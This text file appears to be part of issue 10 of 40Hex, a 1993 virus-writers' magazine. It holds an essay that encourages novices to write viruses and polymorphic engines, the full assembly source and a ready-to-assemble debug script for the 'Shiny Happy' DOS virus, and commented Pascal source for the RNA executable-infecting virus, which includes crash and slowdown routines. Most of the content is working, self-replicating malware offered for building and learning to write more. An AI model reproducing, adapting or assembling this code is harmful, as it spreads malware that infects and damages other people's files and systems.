home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
40HEXX.ZIP
/
40HEX010
< prev
next >
Wrap
Text File
|
1998-01-21
|
166KB
|
3,936 lines
40Hex Issue 10 Volume 3 Number 1 File 000
Welcome back to yet another issue of 40Hex, Phalcon/Skism's magazine chock
full of virus writing techniques, news, source code, and related info.
First off, Phalcon/Skism welcomes its newest member, FirstStrike. We have
watched him grow from humble beginnings and are confident that he will
continue to produce quality viruses in the future.
We will, beginning with this issue, be phasing out the debug scripts in
40Hex. Although many people find them useful, we feel that source code is
more interesting and worthwhile. The disassemblies are almost always done
by Dark Angel, who advises those with difficulty understanding some parts
of the disassemblies to first skim the entire disassembly to learn how the
virus works. Some portions, he continues, are not commented because their
functions are self-evident and the label names reflect their respective
purposes.
In the spirit of friendly competition, we have, in this issue, the Ontario
3 virus written by Death Angel of YAM. While on the topic of YAM, we find
it immensely amusing that they continue to adamantly state on FidoNet and
elsewhere that the IVP was not a mere hack of PS-MPC. Ok, it was a rewrite
in Pascal, but the only significant changes were in the labels; even the
comments were remarkably familiar. Please cease this farce; you are fooling
nobody.
40Hex-10 Table of Contents
March 13, 1993
File Description
0000............................You are here
0001............................Virus creation aids
0002............................Phalcon/Skism Shiny Happy virus
0003............................RNA virus source code
0004............................ARCV Busted
0005............................Green Caterpillar Debug Script
0006............................Virus Spotlite: Bad Boy 2
0007............................A Case Against Encryption
0008............................Ontario 3 source code
0009............................40Hex Survey
Greets to: NuKE, The Attitude Adjuster, and all virus enthusiasts around
the world.
Goodbye & best wishes to : Apache Warrior, ICE-9, and the rest of the ARCV.
-)Gheap
40Hex Issue 10 Volume 3 Number 1 File 001
The following is a cursory examination of virus construction toolkits.
While hardly comprehensive, it includes the basic elements of each
toolkit described. For further information, consult appendix A of
the Phalcon/Skism G▓ code generator.
---------------------------------------------------------------------------
VIRUS CONSTRUCTION KITS, Revision 2.0 13 February 1993
Virus construction kits are computer programs which allow people
with little or no programming experience to produce new variants of
computer viruses.
Two popular methods are used in virus construction kits. The first
uses a menu driven user interface where the user is lead through a
series of menus where he 'designs' the replication method, infection
criteria and payload (what the virus does when it activates). The
second method uses a skeleton configuration file (ASCII file in
which virus configurations are placed) and running a 'generator' to
produce the virus.
There is an important factor to consider. First generation virus
construction kits only produce assembled or compiled viruses without
source code. Second generation kits produce virus source code
(sometimes even commented) that can be changed and assembled by the
user. The danger in second generation kits is that someone with very
limited programming experience can potentially produce a new
computer virus without knowing anything about the internal workings
of a virus.
I would like to stress that because virus construction kits to date
use a fair amount of constant code (instructions), they pose no
threat to standard virus detection techniques. However, should
future kits make use of mutation engine principles, this situation
could change.
The following are descriptions of virus construction kits to date.
This is a factual description as the author has access to all of the
kits listed below :
GENVIR
GENVIR was the first attempt to release a virus construction kit for
profit. It is a first generation virus construction kit which a
menu-driven interface. GENVIR is a French program written in 1990 by
J.Struss of Lochwiller, France. It is a 'Crippleware' program that
lets you go through all the motions of creating a virus, but stops
short of the compilation stage. To receive a working copy, one must
license the software for a fee of 120 Frances. The latest version is
1.0 and it is believed that GENVIR was never released as a functional
virus construction kit.
VCS (Virus Construction Set)
VCS is a first generation virus kit written in 1991 by a German group
called VDV (Verband Deutscher Virenliebhaber). VCS is a primitive
program that requires a text file of maximum 512 bytes length and
incorporates this text into a simple .COM file virus infector. After
a specified number of replications, the virus will display the text
message and delete AUTOEXEC.BAT and CONFIG.SYS. The latest release is
version 1.0. The program text is in German,although there is a hacked
version in English.
VCL (Virus Construction Laboratory)
VCL is a complex, second generation, menu driven virus construction
kit written in 1992 by Nowhere Man and [NuKE] WaReZ. It allows
multiple, user selectable modules to be incorporated into the virus,
together with the option of creating commented ASM (assembler) source
code files that can be manually modified. The danger with this option
is that a virus writer can create the virus kernel (without knowing
much about the internal workings of viruses) using VCL and then add
his own,custom code into the virus.The latest release is version 1.0.
PS-MPC (Phalcon / Skism - Mass Produced Code Generator)
PS-MPC is a second generation virus construction kit, written by Dark
Angel in July 1992. It is based heavily on the VCL virus construction
kit. It was distributed including source code in the C language.
Although it is not menu driven, (it uses a user definable skeleton
configuration file to produce viruses) it creates more compact,neater
commented ASM source code than VCL does. Two versions exist,the first
being version 0.90beta released together with 40Hex (an underground
electronic magazine) on 7 July 1992, and version 0.91beta released on
17 August 1992. According to the history file in this release, the
following as been added to the second release : a) rudimentary memory
resident viruses may be created, b) improved optimization of code,
c) fixed minor quirks and d) got rid of "unsigned char" requirement.
IVP (Instant Virus Production Kit)
IVP is a second generation virus construction kit, written in 1992 by
Admiral Bailey a member of the YAM (Youngsters Against McAfee)
underground group. According to the documentation, it was written in
Turbo Pascal version 7.0. IVP uses a skeleton configuration approach
and produces commented source code. It was the following features :
a) .EXE and .COM file infection, b) Trojan support, c) Directory
changing, d) encryption, e) error handling, f) COMMAND.COM infection,
g) overwriting option and h) random nop generator. The latest release
is version 1.0.
G2 (G Squared)
G2 is a second generation virus construction kit, written in 1993 by
Dark Angel of the Phalcon/Skism underground group.(Dark Angel is also
the author of the PS-MPC virus construction kit). This kit makes use
of the skeleton configuration approach and produces commented source
code. According to Dark Angel's documentation, G2 is not a
modification of the Phalcon/Skism PS-MPC kit, but a complete rewrite.
It differs from other virus construction kits in that it produces
easily upgradable and semi-polymorphic routines. The latest release
is version 0.70beta, dated January 1, 1993.
Oliver Steudler, DYNAMIC SOLUTIONS
Authorized McAfee Associates Anti Virus Agent
Mail : P.O.Box 4397, Cape Town, 8000, South Africa
Internet : Oliver.Steudler@f110.n7102.z5.fidonet.ORG
or 100075.0200@compuserve.COM
Fidonet : 5:7102/110
CompuServe : 100075,0200
Phone : +27 (21) 24-9504 (GMT +2)
Fax : +27 (21) 26-1911
BBS: : +27 (21) 24-2208 [1200-14,400 bps]
---------------------------------------------------------------------------
Virus construction tools are cropping up at the rate of one roughly every
two months. Additionally, new polymorphic "engines" such as the MtE, TPE,
etc. are begining to emerge. But how real is the threat from viruses
generated with such tools and has this threat been exaggerated by the
media?
The discussion will center on the so-called "second generation" toolkits.
Perhaps the most prolific of these is Nowhere Man's VCL. It has the most
attractive interface of all the recent virus development tools and allows for
a variety of activation routines; something which has been conspicuously
absent from the Phalcon/Skism code generators. However, VCL is also perhaps
the least dangerous of all the toolkits, hampered by the dependance upon only
one encryption/decryption routine and single, constant code base. YAM's IVP
ameliorates the problem, albeit in a highly limited and somewhat useless
fashion, with the random NOP placement. Of course, its code is based heavily
upon the PS-MPC, which is also nonrandom, so it, too, is hampered. The
PS-MPC, as mentioned earlier, has but a single code base. In short, these
three toolkits are of limited utility in terms of creating nonscannable
viruses "out of the box." The generated code typically needs to be modified
for the viruses to be unscannable.
So perhaps the solution lies in relying not upon a single code base, but
multiple code bases and allowing for random (not the same as haphazard)
placement of individual lines of code. This is the approach of G▓. G▓
allows for multiple code packages which accomplish a certain goal. The
program selects one of the packages for inclusion in a given virus. In
this manner, variability may be ensured. G▓ further allows for the order
of statements to be scrambled in the source file. However, all G▓ viruses
share the same structure as well as having certain bits of code in common.
So, while an improvement, it is hardly the final step in the evolution of
virus creation toolkits. G▓ could become much more powerful with multiple
virus structures as well as improved code packages.
The article above suggested that the toolkits would be much more powerful
should they incorporate "mutation engine principles." In other words, the
toolkits should be able to mutate the generated code. The IVP currently
uses such an approach, albeit only with simple NOPs liberally scattered in the
decryption and delta offset calculation routines. Such code, however, should
not be a goal of the authors of such toolkits. It is simply not appropriate
for a virus creator to function in such a manner. A virus toolkit which
simply spews out the same code in various forms is merely an overblown hack
generator. Toolkits exist as _aids_ in writing a virus, not as replacements.
Surely including such mutation routines would result in larger viruses as well
as illegible code. A novice utilising the toolkit would not be able to learn
from such unoptimised code. Tight code which doesn't sacrifice legibility
should always be the goal of virus generators.
Another aid in writing viruses is the "encryptor-in-a-box," a product such
as MtE or TPE. Such modules allow all viruses to incorporate polymorphic
routines. Yet how dangerous are such polymorphers? As they currently exist,
they pose very little threat. Scanners have adapted not only to catch current
MtE-using viruses reliably, but also to find new viruses which use decryptors
created with MtE. Certainly the TPE and any new polymorphic routines will meet
the same fate. Constant revisions of these engines, while being temporary
solutions, remain just that: temporary. Once the anti-virus industry receives
a copy of the new version, the engine is once again useless.
The virus community should look beyond such "easy fixes" as virus creation
toolkits and polymorphic "engines." The simplest way to get a nonscannable
virus is to write it yourself. Not only is there the benefit of satisfaction
with the work, but you gain expertise and intimate understanding of both
viruses and the operating system. Such knowledge comes only with writing
several viruses on your own. The best way for a beginner to learn how to
write viruses is to figure it out on his own _without_ any examples. Once a
virus has been written in this manner, then it is appropriate to look at
current virus samples to find out the various tried and true techniques.
But polymorphic engines are difficult to write, the novice virus writer
protests; using MtE will vastly improve the virus. Rubbish. Firstly, it is
a fact that scanners will be able to detect the virus, be it encrypted with a
simple XOR loop or with MtE. Writing your own encryption will be far better
in terms of learning. Secondly, polymorphic engines are _not_ terribly
difficult to create. A few hours of thinking will be sufficient to lay down
the framework of a polymorphic engine. An additional few days is enough for
coding. Even the MtE and TPE, while requiring bit-level knowledge of the
opcodes, could have been written by a person with only a few years of
experience programming assembly. The advantages of writing your own
polymorphic engine are obvious; anti-virus developers will have to spend much
time (and space in their products) analysing and developing scanners for each
individual engine; and simply adding a few extra garbling instructions should
be sufficient to throw these scanners off in a future virus.
So what purpose do these tools serve? The ultimate aim of those producing the
virus creation tools should be not to enable people to go around creating new,
unscannable viruses and trashing every hard drive in the world, but to allow
novices to break into the field of virus writing. It is not difficult to
write a virus, but these tools certainly ease the initial pain. Polymorphic
engines are useful as examples for your own polymorphic routines.
I encourage all novice programmers to pick up a copy of Phalcon/Skism's G▓ and
VCL, the two most prolific code generation toolkits. Run them a few times with
various parameters and analyse the code carefully. Print out the code and look
it over. The basic principles of virus creation will be apparent after some
inspection. Learn from it and then sit down and write your own virus from
scratch.
Dark Angel
Phalcon/Skism 1993
40Hex Issue 10 Volume 3 Number 1 File 002
The Phalcon/Skism Shiny Happy Virus
This virus was written jointly by Dark Angel and Hellraiser about six
months ago. It is a simple semi-stealth virus that doesn't actually replace
interrupt 21h's vector in the interrupt table. Instead, it finds the DOS
interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
it is highly debugger-resistant. It also hides the file size increase, albeit
only in DOS directory listings. This way, it avoids the CHKDSK cross-linking
errors common to viruses hooking FCB find first/next. The virus infects upon
file executions. A debug script follows the source code. As always, type
"DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.
The virus always activates, hooking the keyboard interrupt. When it
detects a happy face (emoticon), the virus changes it to a frown. The Shiny
Happy residency test follows:
Run the cursor across the following line:
:-) =) \|-) ;) :*)
If any of the faces changed to frowns, then Shiny Happy is loose on your
system.
-)Gheap
-------------------------------------------------------------------------------
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism
.model tiny
.code
id = '52'
timeid = 18h
shiny:
call next
next: pop bp
push ds
push es
xor di,di
mov ds,di
cmp word ptr ds:[1*4],offset int1_2 ; installation check
jz return
mov ax,es
dec ax
sub word ptr ds:[413h],(endheap-shiny+1023)/1024
mov ds,ax
sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64
sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
mov es,word ptr ds:[12h]
push cs
pop ds
lea si,[bp+shiny-next]
mov cx,(endheap-shiny+1)/2
rep movsw
push cs
lea ax,[bp+return-next]
push ax
push es
mov ax,offset highentry
push ax
retf
return:
cmp sp,id-4
jz returnEXE
returnCOM:
pop es
pop ds
mov di,100h
push di
lea si,[bp+offset save3-next]
movsw
movsb
retn
returnEXE:
pop es
pop ds
mov ax,es
add ax,10h
add word ptr cs:[bp+origCSIP+2-next],ax
cli
add ax,word ptr cs:[bp+origSPSS-next]
mov ss,ax
mov sp,word ptr cs:[bp+origSPSS+2-next]
sti
db 0eah
origCSIP db ?
save3 db 0cdh,20h,0
origSPSS dd ?
highentry:
mov cs:in21flag,0
xor ax,ax
mov ds,ax
les ax,ds:[9*4]
mov word ptr cs:oldint9,ax
mov word ptr cs:oldint9+2,es
mov ds:[9*4],offset int9
mov ds:[9*4+2],cs
les ax,ds:[21h*4]
mov word ptr cs:oldint21,ax
mov word ptr cs:oldint21+2,es
mov word ptr ds:[1*4],offset int1
mov ds:[1*4+2],cs
mov ah, 52h
int 21h
mov ax,es:[bx-2]
mov word ptr cs:tunnel21+2, ax
mov word ptr cs:dosseg_, es
pushf
pop ax
or ah,1
push ax
popf
mov ah,0bh
pushf
db 09Ah
oldint21 dd ?
mov word ptr ds:[3*4],offset int3
mov ds:[3*4+2],cs
mov word ptr ds:[1*4],offset int1_2
les bx,cs:tunnel21
mov al,0CCh
xchg al,byte ptr es:[bx]
mov byte ptr cs:save1,al
retf
authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
int1: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
jb foundint21
db 3dh ; cmp ax, xxxx
dosseg_ dw ?
ja exitint1
foundint21:
mov word ptr cs:tunnel21+2,ax
mov ax,[bp+2]
mov word ptr cs:tunnel21,ax
and byte ptr [bp+7], 0FEh
exitint1:
pop ax
pop bp
iret
int1_2: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
ja exitint1_2
mov ax, [bp+2]
cmp ax,word ptr cs:tunnel21
jbe exitint1_2
push ds
push bx
lds bx,cs:tunnel21
mov byte ptr ds:[bx],0CCh
pop bx
pop ds
and byte ptr [bp+7],0FEh
exitint1_2:
pop ax
pop bp
iret
infect_others:
mov ax,4301h
push ax
push ds
push dx
xor cx,cx
call callint21
mov ax,3d02h
call callint21
xchg ax,bx
mov ax,5700h
call callint21
push cx
push dx
mov ah,3fh
mov cx,1ah
push cs
pop ds
push cs
pop es
mov dx,offset readbuffer
call callint21
mov ax,4202h
xor cx,cx
cwd
int 21h
mov si,offset readbuffer
cmp word ptr [si],'ZM'
jnz checkCOM
checkEXE:
cmp word ptr [si+10h],id
jz goalreadyinfected
mov di, offset OrigCSIP
mov si, offset readbuffer+14h
movsw
movsw
sub si, 18h-0eh
movsw
movsw
push bx
mov bx, word ptr readbuffer + 8
mov cl, 4
shl bx, cl
push dx
push ax
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr readbuffer+14h, dx
mov word ptr readbuffer+16h, ax
mov word ptr readbuffer+0Eh, ax
mov word ptr readbuffer+10h, id
pop ax
pop dx
pop bx
add ax, heap-shiny
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr readbuffer+4, dx
mov word ptr readbuffer+2, ax
mov cx,1ah
jmp short finishinfection
checkCOM:
xchg cx,ax
sub cx,heap-shiny+3
cmp cx,word ptr [si+1]
goalreadyinfected:
jz alreadyinfected
add cx,heap-shiny
push si
mov di,offset save3
movsw
movsb
pop di
mov al,0e9h
stosb
mov ax,3 ; cx holds bytes to write
xchg ax,cx
stosw
finishinfection:
push cx
mov ah,40h
mov cx,heap-shiny
cwd ; xor dx,dx
call callint21
mov ax,4200h
xor cx,cx
cwd
int 21h
mov ah,40h
pop cx
mov dx,offset readbuffer
call callint21
mov ax,5701h
pop dx
pop cx
and cl,0E0h
or cl,timeid
call callint21
jmp doneinfect
alreadyinfected:
pop ax
pop ax
doneinfect:
mov ah,3eh
call callint21
pop dx
pop ds
pop ax
pop cx
call callint21
exitexecute:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp exitint21
execute:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov ax,4300h
call callint21
jc exitexecute
push cx
jmp infect_others
int3:
push bp
mov bp,sp
cmp cs:in21flag,0
jnz leaveint21
inc cs:in21flag
cmp ah,11h
jz findfirstnext
cmp ah,12h
jz findfirstnext
cmp ax,4b00h
jz execute
exitint21:
dec cs:in21flag
leaveint21:
or byte ptr [bp+7],1 ; set trap flag upon return
dec word ptr [bp+2] ; decrement offset
call restoreint21
pop bp
iret
callint21:
pushf
call dword ptr cs:tunnel21
ret
restoreint21:
push ds
push ax
push bx
lds bx,cs:tunnel21
mov al,byte ptr cs:save1
mov ds:[bx],al
pop bx
pop ax
pop ds
ret
findfirstnext:
int 21h ; pre-chain interrupt
; flags [bp+12]
; segment [bp+10]
; offset [bp+8]
; flags [bp+6]
; segment [bp+4]
; offset [bp+2]
; bp [bp]
pushf ; save results
pop [bp+6+6]
pop bp
push ax
push bx
push ds
push es
inc al
jz notDOS
mov ah,51h ; Get active PSP
int 21h
mov es,bx
cmp bx,es:[16h] ; DOS calling it?
jne notDOS
mov ah,2fh ; DTA -> ES:BX
int 21h
push es
pop ds
cmp byte ptr [bx],0FFh
jnz regularFCB
add bx,7
regularFCB:
cmp word ptr [bx+9],'OC'
jz checkinf
cmp word ptr [bx+9],'XE'
jnz notDOS
checkinf:
mov al,byte ptr [bx+23]
and al,1Fh
cmp al,timeid
jnz notDOS
subtract:
sub word ptr [bx+29],heap-shiny
sbb word ptr [bx+31],0
notDOS:
pop es
pop ds
pop bx
pop ax
dec cs:in21flag
cli
add sp,6
iret
int9:
pushf ; save flags, regs, etc...
push ax
push bx
push cx
push dx
xor bx,bx
mov ah,0fh ; get video mode
int 10h
mov ah,03h ; get curs pos
int 10h
call getattrib
cmp al,')' ; happy??
jne audi5000 ; no
mov cs:eyesflag,0
beforeloveshack:
call getattrib ; see if there is a nose
loveshack:
cmp al,':' ; shiny???
je realeyes
cmp al,'=' ; check for even =)
je realeyes
cmp al,'|'
je realeyes
cmp al,';'
je realeyes
cmp cs:eyesflag,0
jnz audi5001
cmp al,'('
jz audi5001
inc cs:eyesflag
inc bl
jmp short beforeloveshack
realeyes:
stc
adc dl,bl ; add extra backspace if so
mov ah,02h
int 10h
mov ax,0a28h ; 0ah, '(' ; write frown
mov cx,1
int 10h
jmp audi5000
audi5001:
stc
adc dl,bl
audi5000:
inc dl ; set curs pos
mov ah,02h
int 10h
pop dx ; restore all stuff
pop cx
pop bx
pop ax
popf
db 0eah
oldint9 dd ?
; reads the char at the current cursorpos - 1
getattrib:
dec dl ; set curs pos
mov ah,02h
int 10h
mov ah,08h ; get char at curs
int 10h
ret
heap:
save1 db ?
tunnel21 dd ?
in21flag db ?
eyesflag db ?
readbuffer db 1ah dup (?)
endheap:
end shiny
-------------------------------------------------------------------------------
n shiny.com
e 0100 E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01
e 0110 74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00
e 0120 40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9
e 0130 DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81
e 0140 FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4
e 0150 C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46
e 0160 6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00
e 0170 00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E
e 0180 A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E
e 0190 26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7
e 01A0 06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47
e 01B0 FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50
e 01C0 9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C
e 01D0 0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC
e 01E0 26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61
e 01F0 70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C
e 0200 6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B
e 0210 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F
e 0220 6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E
e 0230 3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B
e 0240 46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC
e 0250 50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B
e 0260 06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B
e 0270 1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9
e 0280 E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01
e 0290 51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14
e 02A0 01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A
e 02B0 75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5
e 02C0 A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52
e 02D0 50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3
e 02E0 B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99
e 02F0 03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80
e 0300 E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81
e 0310 E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00
e 0320 A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99
e 0330 03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59
e 0340 BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9
e 0350 18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58
e 0360 59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C
e 0370 50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72
e 0380 E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19
e 0390 2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D
e 03A0 00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02
e 03B0 E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E
e 03C0 C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21
e 03D0 9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD
e 03E0 21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F
e 03F0 80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81
e 0400 7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81
e 0410 6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E
e 0420 03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD
e 0430 10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F
e 0440 03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74
e 0450 19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74
e 0460 1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD
e 0470 10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2
e 0480 B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA
e 0490 B4 02 CD 10 B4 08 CD 10 C3
rcx
0399
w
q
-------------------------------------------------------------------------------
40Hex Issue 10 Volume 3 Number 1 File 003
The following is the source code for the RNA virus, a Pascal virus which
preserves the functionality of the EXE files which it infects. It is a
primitive virus, but is an example of a parasitic virus not written in
assembly.
-------------------------------------------------------------------------------
{$i-}{$m 2048,0,24576}
Program RNA;
{ Commenting by Dark Angel of Phalcon/Skism }
{ for 40Hex Issue 10 Volume 3 Number 1 }
uses dos;
const blksize=8192; { buffer size }
vsize=7200; { length of virus }
wc='*.'; { part of file mask }
counter=blksize-1; { location of the counter }
cb=':\'; { colon backslash }
maxinf:byte=4; { max # infections }
maxruns:byte=48; { # runs before disinfection }
drives:array[3..4] of char=('C','D'); { name of the drives }
imf:string[12]='ux142.rqz'; { temporary file name }
type vtype=array[1..vsize] of byte; { type of buffer for storing virus }
buftype=array[1..blksize] of byte; { type of buffer for file operations }
var ps:string; { path string }
s:pathstr; { currently running program }
ds:dirstr; { current directory }
ns:namestr; { filename of current program }
es:extstr; { extension of current program }
v:^vtype; { buffer for virus code }
buf:^buftype; { buffer for file copying }
count,indx,inf:byte;
attr,nr,nw:word;
sr:searchrec; { for find first/find next calls }
f,f2:file; { file handles }
t:longint; { file time/date storage }
procedure copyf; { copy file }
begin
repeat { copy the file in blocks }
blockread(f,buf^,blksize,nr); { read from the source file }
blockwrite(f2,buf^,nr,nw); { write to the target file }
until (eof(f)); { stop if end of file reached }
close(f); { close the source file }
setftime(f2,t); { set file time/date of target }
close(f2); { then close target file }
end;
Procedure stripf; { strip virus from the file }
begin
assign(f,s); { f = handle for current file }
reset(f,1); { prepare it for reading }
getftime(f,t); { save file creation time/date }
assign(f2,ds+imf); { create temporary file }
rewrite(f2,1); { prepare for writing }
seek(f,vsize); { go past virus }
copyf; { and copy uninfected file }
end;
procedure load; { load the virus from carrier file }
begin
assign(f,s); { f = handle for current file }
getfattr(f,attr); { get its file attributes }
reset(f,1); { and prepare it for reading }
if ioresult=0 then { continue if no failure }
begin
getftime(f,t); { get file creation time/date }
blockread(f,v^,vsize,nr); { read the virus to buffer }
count:=v^[vsize]-1; { get the counter from the buffer }
{ and decrement it }
v^[vsize]:=maxruns; { reset counter in buffer }
seek(f,vsize-1); { go to generation counter in buffer }
blockwrite(f,count,1,nr); { write new counter to file }
setftime(f,t); { restore file time/date }
close(f); { close the file }
setfattr(f,attr); { restore its file attributes }
end;
end;
function checkf(pth:dirstr):boolean; { check if file already infected }
var by:array[1..27] of byte; { buffer for checking marker bytes }
begin
checkf:=false; { default to don't infect }
if pos(sr.name,'COMMAND.COM')=0 then { don't infect COMMAND.COM }
begin
assign(f,pth+sr.name); { get filename }
reset(f,1); { open for reading }
if ioresult=0 then { continue if open ok }
begin
blockread(f,by,27,nr); { start checking the file }
for indx:=1 to 27 do { to see if the virus is }
if (by[indx])<>(v^[indx]) then { already there }
checkf:=true; { if not, return infect ok }
close(f); { close the file }
end;
end;
end;
procedure attach(pth:dirstr); { attach virus to start of file }
begin
inc(inf); { increment infection counter }
assign(f2,pth+'zSqA.th'); { create temporary file }
rewrite(f2,1); { open for writing }
if ioresult=0 then { continue if no errors }
begin
assign(f,pth+sr.name); { open file to infect }
getfattr(f,attr); { save its attributes }
reset(f,1); { open for reading }
getftime(f,t); { save its creation time/date }
blockwrite(f2,v^,vsize,nr); { write the virus to the temp file }
copyf; { copy the file to infect to the }
erase(f); { temp file and erase original }
rename(f2,sr.name); { rename the temp file to the name }
setfattr(f2,attr); { of the original and restore file }
end; { attributes }
end;
procedure rep(pth:dirstr;ext:extstr); { replicate within a directory }
begin
findfirst(pth+wc+ext,hidden+archive+readonly,sr);
while (inf<maxinf) and (doserror=0) do { search for files to infect }
begin
if checkf(pth) then attach(pth); { infect if not already infected }
findnext(sr); { then continue for other files }
end;
end;
procedure wastetime;interrupt; { interrupt 1Ch handler }
begin
inc(t);
inline($90/$90/$90/$90/$90/$90); { NOP NOP NOP NOP NOP NOP }
if ((t mod 8640)=8639) then inline($4C); { crash after about 8 minutes }
end;
procedure replicate; { duplicate within path }
var tmp:dirstr; { holds a directory name }
begin
while (ps<>'') do { while more directories }
begin
indx:=pos(';',ps); { go to next directory }
if indx=0 then { if not found, then at }
begin { last directory }
tmp:=ps; { copy directory name to }
ps:=''; { variable }
end
else
begin
tmp:=copy(ps,1,indx-1); { copy directory name to }
ps:=copy(ps,indx+1,length(ps)-indx); { variable }
end;
if tmp[length(tmp)]<>'\' then tmp:=tmp+'\'; { concatenate '\' if it }
{ isn't already there }
rep(tmp,'cOm'); { infect *.COM }
rep(tmp,'exE'); { infect *.EXE }
end;
end;
procedure makep; { this makes a path if it }
{ isn't found in the system }
var b:byte;
begin
getdir(0,ps); { get current drive }
for b:=3 to 4 do { do this for C: and D: }
begin
ps:=ps+';'+drives[b]+cb+';'; { copy each drive to path }
findfirst(drives[b]+cb+wc,directory,sr); { check if dirs on drive }
while (doserror=0) and (length(ps)<240) do { if not, continue }
begin
ps:=ps+drives[b]+cb+sr.name+';'; { add all dirs to the path }
findnext(sr); { do it again and again }
end;
end;
end;
procedure grow;
begin
inf:=0; { reset infection counter }
ps:=getenv('path'); { get the current path }
if ps<>'' then replicate; { infect files if path found }
if inf<maxinf then { if not enough files infected }
begin
makep; { make a path }
replicate; { and then infect }
end;
end;
procedure remove; { disinfection routine }
begin
assign(f,s); { f = handle for currently running file }
erase(f); { delete the current file }
assign(f,ds+imf); { f = handle for disinfected copy }
rename(f,ns+es); { replace carrier file with disinfected copy }
end;
procedure runf; { run the original file }
begin
exec(ds+imf,paramstr(1)+paramstr(2)+paramstr(3));
assign(f,ds+imf); { delete disinfected copy }
erase(f);
end;
begin
new(v); { allocate memory to store virus }
new(buf); { allocate memory for file operations buffer }
s:=paramstr(0); { get filename of currently running program }
fsplit(s,ds,ns,es); { split to directory, name, and extension }
stripf; { strip infected file from executable }
load; { load the virus data to the buffer }
grow; { infect files }
if count=0 then remove; { disinfect if run maxruns times }
runf; { run the original file }
if count<3 then { slow system down if run many times }
begin
t:=0; { reset count variable }
setintvec($1c,@wastetime); { set clock tick handler }
keep(0); { and then stay resident }
end;
end.
-------------------------------------------------------------------------------
DA
40Hex Issue 10 Volume 3 Number 1 File 004
ARCV Busted!
by DecimatoR
